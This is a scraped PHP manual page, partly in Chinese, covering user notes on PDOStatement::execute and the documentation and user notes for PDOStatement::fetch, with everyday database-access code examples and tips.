This function does not throw any error when PDO::ERRMODE_EXCEPTION is set, instead, it throws a PDOException.

All this applies even when you use PDOStatement::bindParam() function with misspelled parameter name and than use PDOStatement::execute();

Tested on: Windows 10, PHP 5.5.35, mysqlnd 5.0.11, MySQL 5.6.30.

<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE colour = :colour');

/*
    Notice the parameter name ':color' instead of ':colour'.

    When PDO::ERRMODE_SILENT is set, this function throws the error:
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in...

    When PDO::ERRMODE_WARNING is set, this function throws this two errors:
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined in...
    Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number in...
*/
$sth->execute(array(':color' => $colour));
?>
mail at tinodidriksen dot com 15-Aug-2016 08:43
The example shows this to generate the needed number of question marks, which is amazingly wasteful:
$place_holders = implode(',', array_fill(0, count($params), '?'));

Instead, just do:
$place_holders = '?'.str_repeat(',?', count($params)-1);
Ray.Paseur sometimes uses Gmail 23-Jan-2016 07:19
"You cannot bind more values than specified; if more keys exist in input_parameters than in the SQL specified in the PDO::prepare(), then the statement will fail and an error is emitted."  However fewer keys may not cause an error.

As long as the number of question marks in the query string variable matches the number of elements in the input_parameters, the query will be attempted.

This happens even if there is extraneous information after the end of the query string.  The semicolon indicates the end of the query string; the rest of the variable is treated as a comment by the SQL engine, but counted as part of the input_parameters by PHP.

Have a look at these two query strings.  The only difference is a typo in the second string, where a semicolon accidentally replaces a comma.  This UPDATE query will run, will be applied to all rows, and will silently damage the table.

<?php
/**
 * Query is intended to UPDATE a subset of the rows based on the WHERE clause
 */
$sql  = "UPDATE my_table SET fname = ?, lname = ? WHERE id = ?";

/**
 * Query UPDATEs all rows, ignoring everything after the semi-colon, including the WHERE clause!
 *
 * Expected (but not received):
 *
 *** Warning:
 *** PDOStatement::execute():
 *** SQLSTATE[HY093]:
 *** Invalid parameter number: number of bound variables does not match number of tokens...
 *
 */
// Typo here ------------------------ |
//                                    V
$sql  = "UPDATE my_table SET fname = ?; lname = ? WHERE id = ?"; // One token in effect
$pdos = $pdo->prepare($sql);
$pdos->execute( [ 'foo', 'bar', 3 ] );                           // Three input_parameters
?>

PHP 5.4.45, mysqlnd 5.0.10
pere dot pasqual at gmail dot com 11-Jun-2015 03:02
It's been 7 years since simon dot lehmann at gmx dot comment, but today I found myself having problems with a prepared statement involving an INSERT, PDO odbc driver for Microsoft Access and PHP 5.4.7. The prepared statement was done using the prepare + execute method, throwing an ugly
"SQLExecDirect[-3500] at ext\\pdo_odbc\\odbc_driver.c:247" error
and a
42000 ("Syntax error or access violation") SQLSTATE.

He suspects what the problem is and points to a possible solution: using bindParam() or bindValue() and specify a data type.

Well, that seems to be right identifying the source of the problem, but there is a simpler solution that worked for me, simpler and that allows you to continue using pdo::prepare() with ? as parameters and pdo::execute():
the only thing you have to do is, if not done before, a cast of the binded parameters to its specific type (the type that the database is expecting) before putting them in the array you pass to pdo::execute($array).

The following code fails, throwing the error above:

<?php
$name = "John";
$length = "1";
$price = "1.78";
$SQL = "INSERT INTO table (name, length, price) VALUES (?,?,?)";
$arra = array($name, $length, $price);
$sth = $msq->prepare($SQL);
$sth->execute($arra);
?>

This one works for me like a charm:

<?php
$name = "John";
$length = (int)"1"; // the database is expecting this type
$price = (float)"1.78"; // the database is expecting this type
$SQL = "INSERT INTO table (name, length, price) VALUES (?,?,?)";
$arra = array($name, $length, $price);
$sth = $msq->prepare($SQL);
$sth->execute($arra);
?>
takingsides at gmail dot com 05-Dec-2014 11:10
Debugging prepared statements can be a pain sometimes when you need to copy a query and run it in the DB directly.  The function below is an example of how to compile your own query (of course it would need some tweaking and may not work in all scenarios).

<?php

$sql = "
    SELECT t1.*
    FROM table1 AS t1
    INNER JOIN table2 AS t2 ON (
        t2.code = t1.code
        AND t1.field1 = ?
        AND t1.field2 = ?
        AND t1.field3 = ?
    )
";

$stmt = $pdo->prepare($sql);
$params = [ 'A', 'B', 'C' ];
$stmt->execute($params);

// Output the compiled query
debug($sql, $params);

function debug($statement, array $params = [])
{
    $statement = preg_replace_callback(
        '/[?]/',
        function ($k) use ($params) {
            static $i = 0;
            return sprintf("'%s'", $params[$i++]);
        },
        $statement
    );

    echo '<pre>Query Debug:<br>', $statement, '</pre>';
}
?>

This would output something like:

SELECT t1.*
FROM table1 AS t1
INNER JOIN table2 AS t2 ON (
    t2.part_code = t1.code
    AND t1.field1 = 'A'
    AND t1.field2 = 'B'
    AND t1.field3 = 'C'
)
Whitebeard 01-Apr-2014 07:27
If you are having issues passing boolean values to be bound and are using a Postgres database... but you do not want to use bindParam for *every* *single* *parameter*, try passing the strings 't' or 'f' instead of boolean TRUE or FALSE.
Rami jamleh 02-Apr-2013 11:09
simplified $placeholder form

<?php

$data = ['a'=>'foo','b'=>'bar'];

$keys = array_keys($data);
$fields = '`'.implode('`, `',$keys).'`';

#here is my way
$placeholder = substr(str_repeat('?,',count($keys)),0,-1);

$pdo->prepare("INSERT INTO `baz`($fields) VALUES($placeholder)")->execute(array_values($data));
anon at anon dot com 15-Jun-2012 09:10
If your MySQL table has 500,000+ rows and your script is failing because you have hit PHP's memory limit, set the following attribute.

<?php $this->pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false); ?>

This should make the error go away again and return memory usage back to normal.
mail at horn-online-media dot de 14-Jun-2012 10:32
hi,

just a qick note to get started without problems when using quotation: PDO does NOT replace given variables if they are wrapped in quotationmarks, e.g.

<?php

$st = $db->prepare( '
    INSERT INTO fruits( name, colour )
    VALUES( :name, ":colour" )
';
$st->execute( array( ':name' => 'Apple', ':colour' => 'red' ) );

?>

results in in a new fruit like

 -> Apple, :colour

without the colour beeing replaced by "red". so leave variables WITHOUT the quotation - PDO will do.
nils andre with my googelian maily accou 27-Apr-2012 02:25
I realized that I ran into serious trouble when debugging my PHP scripts from the command line, and despite of going to fetchAll and so, I always got the error

SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active.

I realized that I had a double init command:

PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8; SET CHARACTER SET utf8;"

The first one is the better choice and removing the latter, the error is gone.
T-Rex 11-Apr-2012 03:44
When you try to make a query with a date, then take the whole date and not just a number.

This Query will work fine, if you try it like this:
SELECT * FROM table WHERE date = 0

But if you try it with prepared you have to take the whole date format.
<?php
$sth = $dbh->prepare('SELECT * FROM table WHERE date = :date');
$sth->execute( $arArray );

//--- Wrong:
$arArray = array(":date",0);

//--- Right:
$arArray = array(":date","0000-00-00 00:00:00");
?>

There must be something with the mysql driver.

best regards
T-Rex
richard at securebucket dot com 25-Nov-2011 01:16
Note:  Parameters don't work with a dash in the name like ":asd-asd" you can do a quick str_replace("-","_",$parameter) to fix the issue.
ElTorqiro 05-Apr-2011 02:51
When using a prepared statement to execute multiple inserts (such as in a loop etc), under sqlite the performance is dramatically improved by wrapping the loop in a transaction.

I have an application that routinely inserts 30-50,000 records at a time.  Without the transaction it was taking over 150 seconds, and with it only 3.

This may affect other implementations as well, and I am sure it is something that affects all databases to some extent, but I can only test with PDO sqlite.

e.g.

<?php
$data = array(
  array('name' => 'John', 'age' => '25'),
  array('name' => 'Wendy', 'age' => '32')
);

try {
  $pdo = new PDO('sqlite:myfile.sqlite');
}

catch(PDOException $e) {
  die('Unable to open database connection');
}

$insertStatement = $pdo->prepare('insert into mytable (name, age) values (:name, :age)');

// start transaction
$pdo->beginTransaction();

foreach($data as &$row) {
  $insertStatement->execute($row);
}

// end transaction
$pdo->commit();

?>

[EDITED BY sobak: typofixes by Pere submitted on 12-Sep-2014 01:07]
Robin Millette 10-Jan-2011 06:30
If you're going to derive PDOStatement to extend the execute() method, you must define the signature with a default NULL argument, not an empty array.

In otherwords:
<?php
class MyPDOStatement extends PDOStatement {
  // ...

  // don't use this form!
  // function execute($input_parameters = array()) {
  // use this instead:
  function execute($input_parameters = null) {
      // ...
      return parent::execute($input_parameters);
  }
}

?>

As a sidenote, that's why I always set default parameter to NULL and take care of handling the actual correct default parameters in the body of the method or function. Thus, when you have to call the function with all the parameters, you know to always pass NULL for defaults.
Tony Casparro 08-Jul-2010 10:09
We know that you can't see the final raw SQL before its parsed by the DB, but if you want to simulate the final result, this may help.

<?php
public function showQuery($query, $params)
    {
        $keys = array();
        $values = array();

        # build a regular expression for each parameter
        foreach ($params as $key=>$value)
        {
            if (is_string($key))
            {
                $keys[] = '/:'.$key.'/';
            }
            else
            {
                $keys[] = '/[?]/';
            }

            if(is_numeric($value))
            {
                $values[] = intval($value);
            }
            else
            {
                $values[] = '"'.$value .'"';
            }
        }

        $query = preg_replace($keys, $values, $query, 1, $count);
        return $query;
    }
?>
gx 24-Apr-2010 10:05
Note that you must
- EITHER pass all values to bind in an array to PDOStatement::execute()
- OR bind every value before with PDOStatement::bindValue(), then call PDOStatement::execute() with *no* parameter (not even "array()"!).
Passing an array (empty or not) to execute() will "erase" and replace any previous bindings (and can lead to, e.g. with MySQL, "SQLSTATE[HY000]: General error: 2031" (CR_PARAMS_NOT_BOUND) if you passed an empty array).

Thus the following function is incorrect in case the prepared statement has been "bound" before:

<?php
function customExecute(PDOStatement &$sth, $params = NULL) {
    return $sth->execute($params);
}
?>

and should therefore be replaced by something like:

<?php
function customExecute(PDOStatement &$sth, array $params = array()) {
    if (empty($params))
        return $sth->execute();
    return $sth->execute($params);
}
?>

Also note that PDOStatement::execute() doesn't require $input_parameters to be an array.

(of course, do not use it as is ^^).
Ant P. 08-Aug-2008 10:33
As of 5.2.6 you still can't use this function's $input_parameters to pass a boolean to PostgreSQL. To do that, you'll have to call bindParam() with explicit types for each parameter in the query.
Jean-Lou dot Dupont at jldupont dot com 09-Mar-2008 10:38
Hopefully this saves time for folks: one should use $count = $stmt->rowCount() after $stmt->execute() in order to really determine if any an operation such as ' update ' or ' replace ' did succeed i.e. changed some data.

Jean-Lou Dupont.
albright atat anre dotdot net 18-Jan-2008 08:33
When passing an array of values to execute when your query contains question marks, note that the array must be keyed numerically from zero. If it is not, run array_values() on it to force the array to be re-keyed.

<?php
$anarray = array(42 => "foo", 101 => "bar");
$statement = $dbo->prepare("SELECT * FROM table WHERE col1 = ? AND col2 = ?");

//This will not work
$statement->execute($anarray);

//Do this to make it work
$statement->execute(array_values($anarray));
?>
Daniel 30-Aug-2007 05:20
You could also use switch the order of t1 and t2 to get user_id from t1 (tested on postgresql):

SELECT
   t2.*,
   t1.user_id, t1.user_name
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2
simon dot lehmann at gmx dot de 08-Aug-2007 03:17
It seems, that the quoting behaviour has changed somehow between versions, as my current project was running fine on one setup, but throwing errors on another (both setups are very similar).

Setup 1: Ubuntu 6.10, PHP 5.1.6, MySQL 5.0.24a
Setup 2: Ubuntu 7.04, PHP 5.2.1, MySQL 5.0.38

The code fragment which caused problems (shortened):
<?php
$stmt = $pdo->prepare("SELECT col1, col2, col3 FROM tablename WHERE col4=? LIMIT ?");
$stmt->execute(array('Foo', 1));
?>

On the first Setup this executes without any problems, on the second setup it generates an Error:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

The problem is, that $stmt->execute() quotes the number passed to the second placeholder (resulting in: ... LIMIT '1'), which is not allowed in MySQL (tested on both setups).

To prevent this, you have to use bindParam() or bindValue() and specify a data type.
narcis at narcisradu dot com 08-Jan-2007 01:16
For a query like this:

SELECT
   t1.user_id, t1.user_name,
   t2.*
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

If I don't have an entry in table2 for user_id=2, the user_id in  result will be empty.

SELECT
   t1.user_id, t1.user_name,
   t2.user_pet, t2.user_color, t2.user_sign
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

This query will return nonempty user_id.

So please be careful with wildcard select.
VolGas 22-Dec-2006 10:38
An array of insert values (named parameters) don't need the prefixed colon als key-value to work.

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
   FROM fruit
   WHERE calories < :calories AND colour = :colour');
// instead of:
//     $sth->execute(array(':calories' => $calories, ':colour' => $colour));
// this works fine, too:
$sth->execute(array('calories' => $calories, 'colour' => $colour));
?>

This allows to use "regular" assembled hash-tables (arrays).
That realy does make sense!
dbrucas 21-Nov-2006 10:54
If you don't want to turn on exception raising, then try this:

    //$dbErr = $dbHandler->errorInfo(); OR
    $dbErr = $dbStatement->errorInfo();
    if ( $dbErr[0] != '00000' ) {
        print_r($dbHandler->errorInfo());
        die( "<div class='redbg xlarge'>FAILED:  $msg</div><br />".$foot);
    // or handle the error your way...
            }
    echo "SUCCESS:  $msg<br />";
... continue if succesful
russel at sunraystudios dot com 15-Oct-2006 02:42
I've used it and it returns booleans=>
$passed = $stmt->execute();
if($passed){
echo "passed";
} else {
echo "failed";
}

If the statement failed it would print failed.  You would want to use errorInfo() to get more info, but it does seem to work for me.


从结果集中获取下一行

  • ? PDOStatement::execute
  • PDOStatement::fetchAll ?
  • PHP Manual
  • PDOStatement
  • 从结果集中获取下一行

PDOStatement::fetch

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::fetch — 从结果集中获取下一行

说明

public PDOStatement::fetch(int $mode = PDO::FETCH_DEFAULT, int $cursorOrientation = PDO::FETCH_ORI_NEXT, int $cursorOffset = 0): mixed

从一个 PDOStatement 对象相关的结果集中获取下一行。mode 参数决定 POD 如何返回行。

参数

mode

控制下一行如何返回给调用者。此值必须是 PDO::FETCH_* 系列常量中的一个，缺省为 PDO::ATTR_DEFAULT_FETCH_MODE 的值 （默认为 PDO::FETCH_BOTH ）。

  • PDO::FETCH_ASSOC：返回一个索引为结果集列名的数组

  • PDO::FETCH_BOTH（默认）：返回一个索引为结果集列名和以0开始的列号的数组

  • PDO::FETCH_BOUND：返回 true ，并分配结果集中的列值给 PDOStatement::bindColumn() 方法绑定的 PHP 变量。

  • PDO::FETCH_CLASS：返回一个请求类的新实例，映射结果集中的列名到类中对应的属性名，然后调用构造函数，除非指定
PDO::FETCH_PROPS_LATE。如果 mode 包含 PDO::FETCH_CLASSTYPE（例如：PDO::FETCH_CLASS |
PDO::FETCH_CLASSTYPE），则类名由第一列的值决定

  • PDO::FETCH_INTO：更新一个被请求类已存在的实例，映射结果集中的列到类中命名的属性

  • PDO::FETCH_LAZY：结合使用 PDO::FETCH_BOTH 和 PDO::FETCH_OBJ，创建供用来访问的对象变量名

  • PDO::FETCH_NAMED：返回与 PDO::FETCH_ASSOC 具有相同形式的数组，除了如果有多个同名列，则该键引用的值将是具有该列名的行中所有值的数组

  • PDO::FETCH_NUM：返回一个索引为以0开始的结果集列号的数组

  • PDO::FETCH_OBJ：返回一个属性名对应结果集列名的匿名对象

  • PDO::FETCH_PROPS_LATE：当与 PDO::FETCH_CLASS 一起使用时，类的构造方法在从相应的列值分配属性之前被调用。

cursorOrientation

对于 一个 PDOStatement 对象表示的可滚动游标，该值决定了哪一行将被返回给调用者。此值必须是 PDO::FETCH_ORI_* 系列常量中的一个，默认为 PDO::FETCH_ORI_NEXT。要想让 PDOStatement 对象使用可滚动游标，必须在用 PDO::prepare() 预处理SQL语句时，设置 PDO::ATTR_CURSOR 属性为 PDO::CURSOR_SCROLL。

cursorOffset

对于一个 cursorOrientation 参数设置为 PDO::FETCH_ORI_ABS 的 PDOStatement 对象代表的可滚动游标，此值指定结果集中想要获取行的绝对行号。

对于一个 cursorOrientation 参数设置为 PDO::FETCH_ORI_REL 的 PDOStatement 对象代表的可滚动游标，此值指定想要获取行相对于调用 PDOStatement::fetch() 前游标的位置

返回值

此方法成功时返回的值依赖于获取类型。在所有情况下，失败或没有更多记录时都返回 false。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 使用不同的提取方式获取行

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 运用 PDOStatement::fetch 风格 */
print "PDO::FETCH_ASSOC: ";
print "Return next row as an array indexed by column name\n";
$result = $sth->fetch(PDO::FETCH_ASSOC);
print_r($result);
print "\n";

print "PDO::FETCH_BOTH: ";
print "Return next row as an array indexed by both column name and number\n";
$result = $sth->fetch(PDO::FETCH_BOTH);
print_r($result);
print "\n";

print "PDO::FETCH_LAZY: ";
print "Return next row as an anonymous object with column names as properties\n";
$result = $sth->fetch(PDO::FETCH_LAZY);
print_r($result);
print "\n";

print "PDO::FETCH_OBJ: ";
print "Return next row as an anonymous object with column names as properties\n";
$result = $sth->fetch(PDO::FETCH_OBJ);
print $result->name;
print "\n";
?>

以上示例会输出：

PDO::FETCH_ASSOC: Return next row as an array indexed by column name
Array
(
    [name] => apple
    [colour] => red
)

PDO::FETCH_BOTH: Return next row as an array indexed by both column name and number
Array
(
    [name] => banana
    [0] => banana
    [colour] => yellow
    [1] => yellow
)

PDO::FETCH_LAZY: Return next row as an anonymous object with column names as properties
PDORow Object
(
    [name] => orange
    [colour] => orange
)

PDO::FETCH_OBJ: Return next row as an anonymous object with column names as properties
kiwi

Example #2 使用一个可滚动游标获取行

<?php
function readDataForwards($dbh) {
$sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY BET';
$stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
$stmt->execute();
while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)) {
$data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
print $data;
}
}
function readDataBackwards($dbh) {
$sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY bet';
$stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_LAST);
do {
$data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
print $data;
} while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_PRIOR));
}

print "Reading forwards:\n";
readDataForwards($conn);

print "Reading backwards:\n";
readDataBackwards($conn);
?>

以上示例会输出：

Reading forwards:
21    10    5
16    0     5
19    20    10

Reading backwards:
19    20    10
16    0     5
21    10    5

Example #3 构造顺序

当通过 PDO::FETCH_CLASS 获取对象时，首先分配对象属性，然后调用类的构造方法。如果还指定了 PDO::FETCH_PROPS_LATE，则此顺序相反，即首先调用构造方法，然后分配属性。

<?php
class Person
{
private $name;

public function __construct()
{
$this->tell();
}

public function tell()
{
if (isset($this->name)) {
echo "I am {$this->name}.\n";
} else {
echo "I don't have a name yet.\n";
}
}
}

$sth = $dbh->query("SELECT * FROM people");
$sth->setFetchMode(PDO::FETCH_CLASS, 'Person');
$person = $sth->fetch();
$person->tell();
$sth->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'Person');
$person = $sth->fetch();
$person->tell();
?>

以上示例的输出类似于：

I am Alice.
I am Alice.
I don't have a name yet.
I am Bob.

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::execute() - 执行预处理语句
  • PDOStatement::fetchAll() - 从结果集中获取剩余的行
  • PDOStatement::fetchColumn() - 从结果集中的下一行返回单独的一列
  • PDOStatement::fetchObject() - 获取下一行并作为一个对象返回
  • PDOStatement::setFetchMode() - 为语句设置默认的获取模式

User Contributed Notes

paulf at quillandmouse dot com 05-Mar-2020 02:12
A prior poster indicated that this function returns a NULL when there are no results. This is not true. This function returns an empty array. fetchAll() returns the same.

Also, the documentation specifies what happens on "failure", but doesn't indicate what constitutes a "failure". A "failure" could be where the function returns no results; that is, the query "failed". However, a "failure" is apparently a situation where the PDO error functions would reveal a "failure", as in illegal SQL syntax, or a query on a table which doesn't exist, etc. An empty result is not a "failure". Maybe that's obvious to everyone else, but it wasn't to me.
Drew 23-Jan-2020 02:42
When using a PDOStatement with the fetch mode set to FETCH_CLASS, fetch will return false if no rows were found.
Black Knight 11-Apr-2016 02:16
this is just On reminder note about Second parameter -cursor_oriantation-

PDO::FETCH_ORI_NEXT :-
Fetch the next row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_PRIOR :-
Fetch the previous row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_FIRST :-
Fetch the first row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_LAST :-
Fetch the last row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_ABS :-
Fetch the requested row by row number from the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_REL :-
Fetch the requested row by relative position from the current position of the cursor in the result set. Valid only for scrollable cursors.
tim at kooky dot org 31-Mar-2016 12:21
Be careful when using PDO::FETCH_LAZY.  It adds an additional field called queryString.  I'm not sure if this a bug or not. I'm using version 5.6.17 in Debian Jessie.

Query:  'select 1,2,3'

$row=$smt->fetch(PDO::FETCH_OBJ);
var_dump($row);

object(stdClass)#6 (3) {
  ["1"]=>
  string(1) "1"
  ["2"]=>
  string(1) "2"
  ["3"]=>
  string(1) "3"
}

$row=$smt->fetch(PDO::FETCH_LAZY);
var_dump($row);

object(PDORow)#3 (4) {
  ["queryString"]=>
  string(12) "select 1,2,3"
  ["1"]=>
  string(1) "1"
  ["2"]=>
  string(1) "2"
  ["3"]=>
  string(1) "3"
}
tastro 19-Sep-2014 12:41
Note that this way, the "fetch mode" will get "overwritten", and PDO::FETCH_PROPS_LATE won't be applied:

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
?>

Instead, you should leave the parameter area for the fetch() method empty, like this (if you want to set the fetch mode with the setFetchMode() method):

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch();
$sth->closeCursor();
?>
lenz_kappov at yahoo dot co dot uk 23-Feb-2014 10:30
Because MySQL does not currently support the use of cursors, the $cursor_offset feature cannot work when using PDO to access a MySQL database.

If you are tring to arbitrarily access a specific record or group of records in a MySQL database recordset, you might want to consider using the LIMIT clause of the SELECT statement to achieve this e.g. LIMIT 5,3 to return just the 6th,7th & 8th records - 3 records starting at index 5 (which is the 6th record).
yarco dot wang at gmail dot com 07-Dec-2013 11:30
If no record, this function will also return false.
I think that is not very good...
sumariva at gmail dot com 29-May-2013 06:02
I got problems during fetch of stored procedures with mssql following PDOException:

SQLSTATE[IMSSP]: The active result for the query contains no fields

with a a prepared statement like:
 EXEC [mydb].[stored_procedure_that_returns_select] ?;

The solution was to supress the count of records
SET NOCOUNT ON; EXEC [mydb].[stored_procedure_that_returns_select] ?;

Hope it helps!
gergo at gergoerdosi dot com 11-Feb-2013 04:07
When using PDO::FETCH_COLUMN in a while loop, it's not enough to just use the value in the while statement as many examples show:

<?php
while ($row = $stmt->fetch(PDO::FETCH_COLUMN)) {
    print $row;
}
?>

If there are 5 rows with values 1 2 0 4 5, then the while loop above will stop at the third row printing only 1 2. The solution is to either explicitly test for false:

<?php
while (($row = $stmt->fetch(PDO::FETCH_COLUMN)) !== false) {
    print $row;
}
?>

Or use foreach with fetchAll():

<?php
foreach ($stmt->fetchAll(PDO::FETCH_COLUMN) as $row) {
    print $row;
}
?>

Both will correctly print 1 2 0 4 5.
sumariva at gmail dot com 04-Jul-2012 04:17
I could use PDO::FETCH_COLUMN to retrieve the first column from result.
$ps->fetch( PDO::FETCH_COLUMN );
Worked on Postgresql with PHP 5.3.10.
Alex 07-Sep-2011 02:32
It seems that if you do a $statement->query() with an INSERT statement and after that a $statement->fetch() you will get an exception saying: SQLSTATE[HY000]: General error.
henry at henrysmith dot org 06-Aug-2011 09:24
Someone's already pointed out that PDO::CURSOR_SCROLL isn't supported by the SQLite driver. It's also worth noting that it's not supported by the MySQL driver either.

In fact, if you try to use scrollable cursors with a MySQL statement, the PDO::FETCH_ORI_ABS parameter and the offset given to fetch() will be silently ignored. fetch() will behave as normal, returning rows in the order in which they came out of the database.

It's actually pretty confusing behaviour at first. Definitely worth documenting even if only as a user-added note on this page.
Ome Ko 20-Jun-2011 04:46
Don't do
if($objStatement->fetch()) return $objStatement->fetch();

You want
if($blah=$objStatement->fetch()) return $blah;

Trust me on this one.
public at grik dot net 24-Nov-2010 03:10
When fetching an object, the constructor of the class is called after the fields are populated by default.

PDO::FETCH_PROPS_LATE is used to change the behaviour and make it work as expected - constructor be called _before_ the object fields will be populated with the data.

sample:

<?php
$a = $PDO->query('select id from table');
$a->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'ClassName');
$obj = $a->fetch();
?>

http://bugs.php.net/bug.php?id=53394
Typer85 at gmail dot com 01-Feb-2010 03:03
Here is quick note for developers that use the PDO SQLite Driver:

The PDO SQLite driver does not support cursors, so using the PDO::CURSOR_SCROLL Attribute, will not work when using the PDO SQLite driver. For example:

<?php

// Assuming $Handle Is a PDO Handle.
$Statement = $Handle->query( $sqlStatement , array( PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL ) );

?>

What is even worse is that PDO::prepare will NOT throw an Exception when it fails to prepare the query, even when the error mode is set to throw Exceptions, and will instead return a Boolean False!

Not only do I consider this a poor design choice, but also its a real shame that this is not documented anywhere in the manual -- in fact the manual is not clear on what Attributes are supported by which drivers and which are not so developers are left to play a classic game of guess.

I hope this saves some developers some headaches.

Good Luck,
lod 16-Jul-2008 09:33
A quick one liner to get the first entry returned.  This is nice for very basic queries.

<?php
$count = current($db->query("select count(*) from table")->fetch());
?>php
lozitskiys at gmail dot com 09-Jul-2008 05:21
I spent some hours trying to find out how to manipulate with BLOB fields using PDO.

Remember that you can't retreive BLOB data using something like this :

<?php
$sql = 'SELECT * FROM sometable LIMIT 1';
$stmt = $dbh->prepare($sql);
$stmt->execute();
$stmt->setAttribute(PDO::FETCH_ASSOC);
$row = $stmt->fetch();

$myFile = $row['file'];
?>

Instead of this you should try following approach:

<?php
$sql = "SELECT mime, file FROM sometable LIMIT 1";
$stmt = $dbh->prepare($sql);
$stmt->execute();

$stmt->bindColumn(1, $mime,);
$stmt->bindColumn(2, $file, PDO::PARAM_LOB);

$stmt->fetch();

header('Content-type: '.$mime);
print $file;

?>
josh 29-Apr-2008 12:02
Note that PDO::ATTR_STRINGIFY_FETCHES will NOT work for the MySQL driver. MySQL will always return strings because that is the behaviour of the core mysql PHP extension. See http://bugs.php.net/bug.php?id=44341
Gerard van Beek 28-Oct-2007 01:42
If you to use a new instance of a class for a record you can use:

<?php
include_once("user.class");
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");

/* create instance automatically */
$sth->setFetchMode( PDO::FETCH_CLASS, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
print ($user->id);

/* or create an instance yourself and use it */
$user= new user();
$sth->setFetchMode( PDO::FETCH_INTO, $user);
$sth->execute();
$user= $sth->fetch( PDO::FETCH_INTO );
$sth->closeCursor();
print ($user->id);
?>
BaBna 16-Aug-2007 12:52
When you do a SELECT query for one row, and want to check if it's there, you don't need to count the fetchAll() result, you can just check if $result->fetch() is true:
<?php
$bbnq = sprintf("SELECT login
FROM users
WHERE id = %u",27);
try
    { $req = $db_bbn->query($bbnq); }
catch (Exception $e)
    { bbnf_pdo_error($e,__FILE__,__LINE__); }
if ( $r = $req->fetch() )
    { echo "This query has a row result"; }
else
    { echo "This query has an empty result"; }
?>
marcini 02-Apr-2007 04:41
Be careful with fetch() when you use prepared statements and MySQL (I don`t know how it is with other databases). Fetch won`t close cursor and won`t let you send any other query, even if your result set has only one row, .
If you use $statement->fetch(), you will also have to use $statement->closeCursor() afterwards, to be albe to execute another query.
Alternatively you can use $statement->fetchAll() without $statement->closeCursor().
terry at bitsoup dot com 02-Mar-2006 12:46
WARNING:
fetch() does NOT adhere to SQL-92 SQLSTATE standard when dealing with empty datasets.

Instead of setting the errorcode class to 20 to indicate "no data found", it returns a class of 00 indicating success, and returns NULL to the caller.

This also prevents the exception mechainsm from firing.

Programmers will need to explicitly code tests for empty resultsets after any fetch*() instead of relying on the default behavior of the RDBMS.

I tried logging this as a bug, but it was dismissed as "working as intended". Just a head's up.
avinoamr at gmail dot com 19-Jan-2006 02:48
Note that using the FETCH_CLASS mechanism does NOT trigger the class's constructor! You must explicity instantiate the class to use it's constructor behavior.
fh at ez dot no 25-Nov-2005 12:13
I can also add that the constructor is run _after_ the data is set on the object if yo use PDO::FETCH_CLASS.
fh at ez dot no 24-Nov-2005 11:58
If you want to use PDO::FETCH_CLASS you need to set it up with setFetchMode first like so:
        $stmt->setFetchMode( PDO::FETCH_CLASS, 'classType', array( 'parameters to constructor' );
        $object = $stmt->fetch( PDO::FETCH_CLASS );
If you ommit this PHP will segfault.
aledmb at gmail dot com 21-Oct-2005 10:22
note that fetch constants are not included in the PDO class for PHP versions prior to 5.1


从结果集中获取剩余的行

  • ? PDOStatement::fetch
  • PDOStatement::fetchColumn ?
  • PHP Manual
  • PDOStatement
